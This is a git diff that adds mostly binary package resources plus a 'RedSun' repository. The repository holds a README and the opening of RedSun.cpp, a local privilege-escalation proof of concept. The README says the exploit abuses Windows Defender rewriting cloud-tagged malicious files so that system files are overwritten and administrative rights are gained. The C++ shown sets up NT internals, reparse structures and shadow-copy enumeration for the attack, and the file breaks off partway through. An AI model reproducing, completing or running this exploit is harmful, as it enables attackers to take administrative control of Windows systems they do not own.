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 H=7IkQ09vB_ literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..e53f18edf8caab26ae7063743f7770861653ae65 GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/tsnew48.png b/MiniPlasma/packages/TaskScheduler.2.12.2/tsnew48.png new file mode 100644 index 0000000000000000000000000000000000000000..32ae11cacc75d59337874b1bd8491e339b653060 GIT binary patch literal 1810 zcmV+t2krQYP)EuPm8gt z)#@BG7gjlz!;uXZ78V9EnPpjAEEZWJeH9ZzSguqmTqqQrUzf5?10aOgG>wUf^ZC4( zG_#5cOAtPlN;zZU*QHf!;REthhKO=Rq|0wj)1*qJ;yhcHC0-Yas6zEo2l|UKq_J}D z+}@N#WW*U?1^|J&@K7q1yqB3wM%53KcL-2%DV0hoTiUjr1mjuPb#R)93NA2n#o=95 z7|`U|vu8P(Ogicn95f-rFqZ8nlkv5S!=+M*WfRKfa?V)T4|4x>I?Z?Q-i>9dJc5CQ{)X__oHp|0z71Aw5Szw8iHi;+kq_}Q~(_-sc3FwqblRFh)m0ixo13;I;V8Vl3OX9W8{l-L-31q?aOLI;$0^nT$n^@=`4UZ}3jh?Cfl$I4$p_5B@nD(|Ni~4+t&bCvu4d)nD2iV>HlX!K?>7GE|+r{WEh6SDvEQew&d&1(YVvX4_0QJz5Cqx%6 zkk52vI)0p}y}gk$#sE+Xk;YB^oM)T^6B85E*7i9aI;7rKP|(w-Q&cLA)qKOI4@)(*Iv^(rjmLLWhslMAft%lTc9 zvsvbQ_taw{HASKygRHPZ+8b+NY6_e4L&y6BNz;gq9V1%5-v43wpferQA-C=XwgZD8 z-a^2r>v{)L1-I1VkNRW{ z{0r^fyVrX+Ha13^H*a>#;?${AzV^vvlCs&XV_xLCW|)Vlav0P_UIA&v?Vj@ztE0~f+ZZREQ)G^u*z;h%lQpz3MMBPyc_^Wj~->iupG6A zffyWo?M?37Sr$^&4&Lbg{cyJ;+kC(*Ja8Qy9lkz65RwPX0f3D`QmIb1tohJY#rvB# zt4jj|<-g12>QWfcfq_>`Cr)vP z;B4eD;jp@u%2KGN;PXxMM$HDy;sY~xb#ix%R;W> z=ZS`f1|4sL*hXf&t3Bkjns-;PUiF?2A3p4`Ts%m-2Or7hQ0Y*>eUEppPfUdSc$Lo& zdMOpj8jwQ~K?e^WT&Y6sa{zEW98&Ss-8+Ng^fWK7FUa>jMK zzm9n&>bRodp(NXQ9N}g2fw{-NkG*`E|3K)DjSaUB;U7HU-|D#2_1tw(AZ$(?Y9fRX zHV?B2ww2tkAwr4ReB=m!Q7*G}@gk4(_w)98`nsGATU9x{2#ZK1ZP~(X>lL68TofR1 zaK;U%rIoL^PJ!MQ0I>Ie1(?oCNewovWb?KxJiGaT`evl{%QcO&AN%`Kl#19ad+j7ApigX07*qoM6N<$f|hGv Ad;kCd literal 0 HcmV?d00001 diff --git a/RedSun/LICENSE b/RedSun/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/RedSun/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/RedSun/README.md b/RedSun/README.md new file mode 100644 index 0000000..20850f7 --- /dev/null +++ b/RedSun/README.md @@ -0,0 +1,9 @@ +# RedSun +The Red Sun vulnerability repository + +Now, normally I would just drop the PoC code and let people figure it out. But I can't for this one, it's way too funny. +When Windows Defender realizes that a malicious file has a cloud tag, for whatever stupid and hilarious reason, the antivirus that's supposed to protect decides that it is a good idea to just rewrite the file it found again to it's original location. The PoC abuses this behaviour to overwrite system files and gain administrative privileges. + +I think antimalware products are supposed to remove malicious files not be sure they are there but that's just me. + +![BottomText](redsun.jpg) diff --git a/RedSun/RedSun.cpp b/RedSun/RedSun.cpp new file mode 100644 index 0000000..eb165d4 --- /dev/null +++ b/RedSun/RedSun.cpp @@ -0,0 +1,777 @@ + + +// It gets funnier as time passes... + +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include + +#pragma comment(lib,"synchronization.lib") +#pragma comment(lib,"sas.lib") +#pragma comment(lib,"ntdll.lib") +#pragma comment(lib,"CldApi.lib") + + +typedef struct _FILE_DISPOSITION_INFORMATION_EX { + ULONG Flags; +} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; + +typedef struct _FILE_RENAME_INFORMATION { +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1) + union { + BOOLEAN ReplaceIfExists; // FileRenameInformation + ULONG Flags; // FileRenameInformationEx + } DUMMYUNIONNAME; +#else + BOOLEAN ReplaceIfExists; +#endif + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION; + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + + +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) + + + +HMODULE h = LoadLibrary(L"ntdll.dll"); +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtOpenDirectoryObject)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ))GetProcAddress(hm, "NtOpenDirectoryObject");; +NTSTATUS(WINAPI* _NtQueryDirectoryObject)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ) = (NTSTATUS(WINAPI*)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ))GetProcAddress(hm, "NtQueryDirectoryObject"); +NTSTATUS(WINAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) = (NTSTATUS(WINAPI*)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ))GetProcAddress(hm, "NtSetInformationFile"); + + + +struct LLShadowVolumeNames +{ + wchar_t* name; + LLShadowVolumeNames* next; +}; +void DestroyVSSNamesList(LLShadowVolumeNames* First) +{ + while (First) + { + free(First->name); + LLShadowVolumeNames* next = First->next; + free(First); + First = next; + } +} + +LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber) +{ + + + if (!criticalerr || !vscnumber) + return NULL; + + *vscnumber = 0; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + NTSTATUS stat = STATUS_SUCCESS; + do + { + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + *criticalerr = true; + return NULL; + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + LLShadowVolumeNames* LLVSScurrent = NULL; + LLShadowVolumeNames* LLVSSfirst = NULL; + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + (*vscnumber)++; + if (LLVSScurrent) + { + LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSScurrent->next) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + return NULL; + } + ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSScurrent->next; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + } + else + { + LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSSfirst) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSSfirst; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + + } + + } + } + } + + + + + } + free(objdirinfo); + return LLVSSfirst; + + +} + + +HANDLE gevent = CreateEvent(NULL, FALSE, NULL, NULL); + +DWORD WINAPI ShadowCopyFinderThread(wchar_t* foo) +{ + + wchar_t devicepath[] = L"\\Device"; + UNICODE_STRING udevpath = { 0 }; + RtlInitUnicodeString(&udevpath, devicepath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + HANDLE hobjdir = NULL; + stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); + if (stat) + { + printf("Failed to open object manager directory, error : 0x%0.8X", stat); + return 1; + } + bool criterr = false; + int vscnum = 0; + LLShadowVolumeNames* vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum); + + if (criterr) + { + printf("Unexpected error while listing current volume shadow copy volumes\n"); + ExitProcess(1); + } + + + bool restartscan = false; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + ExitProcess(1); + } + ZeroMemory(objdirinfo, reqsz); + stat = STATUS_SUCCESS; + bool srchfound = false; +scanagain: + do + { + scanctx = 0; + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + ExitProcess(1); + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + ExitProcess(1); + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + if (!emptybuff) + { + printf("Failed to allocate memory !!!"); + ExitProcess(1); + } + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + wchar_t newvsspath[MAX_PATH] = { 0 }; + wcscpy(newvsspath, L"\\Device\\"); + + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + emptybuff = NULL; + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + // check against the list if there this is a unique VS Copy + LLShadowVolumeNames* current = vsinitial; + bool found = false; + while (current) + { + if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) + { + found = true; + break; + } + current = current->next; + } + if (found) + continue; + else + { + srchfound = true; + wcscat(newvsspath, objdirinfo[i].Name.Buffer); + break; + } + } + } + } + } + + if (!srchfound) { + restartscan = true; + goto scanagain; + } + if (objdirinfo) + free(objdirinfo); + NtClose(hobjdir); + + wchar_t malpath[MAX_PATH] = { 0 }; 